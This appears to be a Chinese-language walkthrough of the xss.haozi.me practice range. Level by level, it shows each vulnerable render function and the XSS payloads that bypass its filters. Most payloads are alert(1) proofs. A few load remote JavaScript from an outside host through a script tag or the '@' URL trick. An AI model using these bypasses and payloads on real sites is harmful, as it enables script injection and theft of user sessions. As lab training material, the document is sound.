XSS专项练习
- 参考
- 项目外观样式
- 0x00 div标签,常规插入
- 0x01 textarea标签 闭合该后插入
- 0x02 内容放在标签内,`">`闭合标签
- 0x03 过滤(),使用反单引号`
- 0x04 过滤括号()和反单引号` 使用html实体编码来绕过
- 0x05 闭合注释符
- 0x06 正则过滤auto/on开头及`=`结尾和`>` 换行绕过匹配
- 0x07 正则匹配,空格绕过解析
- 0x08 换行或空格绕过正则匹配
- 0x09 let 声明,RegExp.test()正则白名单
- 0x0A 升级版0x09过滤后再白名单
- 0x 0B html字符大写,js进行hex编码绕过
- 0x0C 依照上题或者是双写绕过
- 0x0D 回车绕过,js注释符`-->`
- 0x0E 找到一个大写是s的拉丁字符,编码绕过大写
- 0x0F 注释符绕过
- 0x10 提供任意值
- 0x11 注释符绕过
- 0x12 转义符绕过
参考
项目地址:https://xss.haozi.me/
笔记地址:
https://www.cnblogs.com/joker-vip/p/12663782.html
xss靶场练习(一)之xss.haozi.me
参考技术:Web笔记(七)XSS跨站脚本攻击
项目外观样式
url:
http://xss.test/?input=
0x00 div标签,常规插入
<div> 可定义文档中的分区或节(division/section)。
<div> 标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具,并且不使用任何格式与其关联。
如果用 id 或 class 来标记 <div>,那么该标签的作用会变得更加有效。
- server-code
function render (input) {
return '<div>' + input + '</div>'
}
直接常规插入
- payload
<script>alert(1)</script>
<img src="" onerror=alert(1)>
0x01 textarea标签 闭合该后插入
<textarea> 标签定义多行的文本输入控件。
文本区中可容纳无限数量的文本,其中的文本的默认字体是等宽字体(通常是 Courier)。
可以通过 cols 和 rows 属性来规定 textarea 的尺寸,不过更好的办法是使用 CSS 的 height 和 width 属性。
注释:在文本输入区内的文本行间,用 "%OD%OA" (回车/换行)进行分隔。
根据介绍,这个标签内都是文本内容,那么我们必须要闭合掉这个标签才能进一步插入。
- server-code
function render (input) {
return '<textarea>' + input + '</textarea>'
}
- payload
</textarea><script>alert(1)</script><textarea>
</textarea><img src="" onerror=alert(1)>
0x02 内容放在标签内,">
闭合标签
- server-code
function render (input) {
return '<input type="name" value="' + input + '">'
}
我们看到input的内容被放在了<input>
标签内并作为返回值返回,我们需要闭合掉这个<input>
标签。
- payload
"><script>alert(1)</script>
0x03 过滤(),使用反单引号`
- server-code
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
可以看到服务器端是把//g
中间的内容即[()]
替换为空,过滤掉了(),我们使用反单引号(backquote)。
反单引号:主要用于计算机相关领域。(一)反单引号是西方符号,主要用在linux的bash中。
- 在bash中,其用法同$()一样,用``括起来的内容代表一个变量,例如echo
ls
会先执行ls
得到0 xx·sh 再替换原命令为:echo xx·sh 最后执行的是 xx·sh- “`”是 MYSQL数据库的分隔符。
分隔符的加入可使输入的字符串成为有效的MYSQL分隔标识符。
示例:创建一个表名包含空格、单引号等字符串时,需要用 将表名包起来,才可创建成功,否则是语法错误。
create table `t a'b`(id INT);
- payload
<script>alert`1`</script>
0x04 过滤括号()和反单引号` 使用html实体编码来绕过
在线转换网站:HTML字符实体转换
<img src="" onerror=alert(1)>
0x05 闭合注释符
- server-code
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
可以看到服务器端是把//g
中间的内容即-->
替换为笑脸
这里注释符有两种:
<!-- 注释内容 -->
<!-- 注释内容 --!>
可以用到第二种注释符
- payload
--!><script>alert(1)</script>
0x06 正则过滤auto/on开头及=
结尾和>
换行绕过匹配
- server-code
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
这里用到了正则表达式过滤方法:JavaScript正则表达式应用—replace()
String.prototype.replace()
如果pattern是字符串,则仅替换第一个匹配项。
用了正则表达式来过滤,匹配了: auto 、以on开头且以=结尾的字符串和>
,所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合
但是它并没有匹配换行符, 可以通过换行来绕过匹配
注意onerror后面实际有一个回车换行符
type="image" src="" onerror
=alert(1)
0x07 正则匹配,空格绕过解析
- server-code
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
分析此正则表达式:
const stripTagsRe = /<\/?[^>]+>/gi
这里分为三部分来分析: /<\/?[^>]+>/gi
- 1)
<\/?
\转义符与/结合, 从而转义了/, 进而含义是匹配:</
再加上? (匹配前面的子表达式一次或多次), 所以是匹配:<
或者</
- 2)
[^>]+
首先要明白, 中括号的用法:[abc]
=> 匹配abc中的任意一个;
然后^
符号的两种用法:
1.限定开头: 比如,/^A/
会匹配"An e"中的A,但是不会匹配"ab A"中的A
2.取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]
表示 “找到一个非字母也非数字的字符”。
最后是+
的含义:匹配前面的子表达式一次或多次。
所以,总的来说,[^>]+
匹配了除了^的任意字符的一次或者多次 - 3)>
单纯匹配>。
总的表达式就是,匹配: </ 任意字符 >, 而且 /i 过滤了大小写
html的单标签也可以解析,后面+空格
- payload
<img src="" οnerrοr=alert(1)
0x08 换行或空格绕过正则匹配
- server-code
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
可以加一个空格</style >
,造成正则逃逸
- payload
</style ><script>alert(1)</script>
借鉴0x06没有匹配换行符,换号绕过正则。必须在style后换行。
- payload
</style
>
<script>alert(1)</script>
0x09 let 声明,RegExp.test()正则白名单
- server-code
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
let
RegExp.prototype.test()
let 语句声明一个块级作用域的本地变量,并且可选的将其初始化为一个值。
test()
方法执行一个检索,用来查看正则表达式与指定的字符串是否匹配。返回 true
或 false
。
正则表达式白名单式地匹配了固定网址,并闭合前面的标签
https://www.segmentfault.com/"></script><img src="" οnerrοr=alert(1)<"
0x0A 升级版0x09过滤后再白名单
- server-code
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
可以看出,过滤掉了&
,`,",<,>,\,之后再正则白名单匹配。
通过html转义, 把能注入的关键字都过滤了。可以直接引用指定网站下的目录文件来达到xss注入的目的,
比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可(此方法目前已经失效):
- payload
https://www.segmentfault.com.haozi.me/j.js
url的@语法来进行跳转调用,然后@跳转访问即可 (beefhook原理)
前面必须匹配到https,所以后面的域名也必须是https,因为博主没有备案,无法用https。这个关卡就无法通过。
https://www.segmentfault.com@http://www.xxxx.club:8986/j.js
0x 0B html字符大写,js进行hex编码绕过
- server-code
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
可以看出服务器端,将所有字母转换为大写。
HTML中对大小写不敏感
JS中对大小写敏感
这样可以对js代码进行hex编码
处理, 而html部分不变
编码结果类型是html entities
。
比如:
a->a
l->l
- payload
<img src="" onerror=alert(1)>
域名对大小写也不敏感 , 所有可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0C 依照上题或者是双写绕过
- server-code
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
该题将/script/替换为空之后,再转为大写。可以按照上题的解法
<img src="" onerror=alert(1)>
可以采用双写绕过并调用haozi.me的j.js代码
<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
0x0D 回车绕过,js注释符-->
- server-code
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
该题把斜杠, 单、双引号都过滤了;
回车可以破坏注释结构,js的注释符-->
可以注释掉后面的内容。
- payload
alert(1);
-->
0x0E 找到一个大写是s的拉丁字符,编码绕过大写
- server-code
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
该题目会把标签内的内容替换,字母都变大写,前面添加一个_。
这几乎过滤了所有标签, 包括<script>
。
逆向思维, 找到一个字符的大写是s的: ſ (古英文, 拉丁文):
<ſcript src="" onerror=alert(1)></script>
0x0F 注释符绕过
- server-code
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
该题目对字符进行了html实体编码处理。但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。
注入使其闭合, 在注释掉后面的内容即可:
- payload
'); alert(1); //
或者闭合后面的,而不是用//
注释掉后面的。
');alert(1);('
0x10 提供任意值
- server-code
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
没有过滤, 随意给window.date一个值,比如空值''
, 再注入:
'';alert(1);
0x11 注释符绕过
- server-code
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
看到有一些字符被转义了, 包括换行符\n
等也被转义了
虽然被转义成了
\/\/
, 但转义之后还是//
, 在js中还是注释符 (勿与正则弄混)
- payload
");alert(1);//
或者:
"); alert("1
0x12 转义符绕过
- server-code
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
该题将双引号替换。无法闭合。
但是, 它并没有将转义符转义, 那么我们可以使用转义符转义,这样双引号就不会被替换:
- payload
\");alert(1);//
- payload
通过闭合前面的script标签, 内嵌一个script标签即可:
</script> <script>alert(1)</script><script>